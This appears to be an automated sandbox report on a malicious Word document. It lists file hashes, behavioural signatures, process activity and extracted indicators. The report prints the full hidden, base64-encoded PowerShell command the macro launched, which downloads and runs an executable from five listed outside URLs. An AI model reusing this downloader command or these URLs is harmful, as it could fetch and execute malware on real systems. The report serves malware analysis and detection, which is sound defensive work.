Analysis
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max time kernel
46s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:47
Static task
static1
Behavioral task
behavioral1
Sample
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc
Resource
win10v2004-20241007-en
General
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Target
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc
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Size
217KB
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MD5
9233375931f8df6643462a715a569356
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SHA1
f1a9097241c4d4ab7501d7ac2fd863b657987ba6
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SHA256
ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e
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SHA512
05ed488559f36a3fb3982800dc608299feb1600741c81c33c3138abf639a13af702426bf1e525d26f784ffdb549ed57ba16062f1cd3a51ab793a1b6c581ebb6a
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SSDEEP
6144:le2k4ytGiL3HJk9uD7bEDYvj3iOE8B+nLZB3oXfg+03:lejQitkQ7bA
Malware Config
Extracted
http://gobabynames.com/dz6r/xytx7/
http://nhomkinhthienbinh.com/cgi-bin/yW/
http://capitalcitycarwash.com/komldk65kd/7tz/
http://compscischool.com/wp-content/8a1n/
http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4616 3660 Powershell.exe 82 -
Blocklisted process makes network request 3 IoCs
Processes:
Powershell.exeflow pid Process 30 4616 Powershell.exe 32 4616 Powershell.exe 35 4616 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid Process 1048 WINWORD.EXE 1048 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exepid Process 4616 Powershell.exe 4616 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid Process Token: SeDebugPrivilege 4616 Powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid Process 1048 WINWORD.EXE 1048 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid Process 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE 1048 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid Process procid_target PID 1048 wrote to memory of 4340 1048 WINWORD.EXE 85 PID 1048 wrote to memory of 4340 1048 WINWORD.EXE 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ec22df822ebdbf9b4fb6510bd677ef0d6ce81e02ed4aaeedb098e178e7eafc9e.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:4340
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4616
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
444B
MD5013ccd8987312a0d27f435fa437107c2
SHA1e255055d57d0a7c834007c128b6498565e085162
SHA256c97fee75bdc96f7b9e33c50f2eaece1f14e95640a7e0bba34a126d13265d9095
SHA512af1e6ecb66efe820014e8eb06c3638bb7f11128ef051d8c338f942a780f0d67d790249b5ec29eff648c182e2ea4b8ce792c29e6363324a8a49a47749f02bb303
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD5a066e2d90cd35ea40a05758b3fa4bc41
SHA195c8a7169d1e33bc0cd551700c747db07b446018
SHA256d2d715e7b72abd3d5c2574b206d794a57c1f8b24f051d82ce49d646b037310ac
SHA512693d19ac48be1f2ae2b179e66ba49fb1f3674a029e4019230776c8d9c185f545b1ce124389ecf9072a010d769430a30a2cebdd010705f7497cffc861044ffeee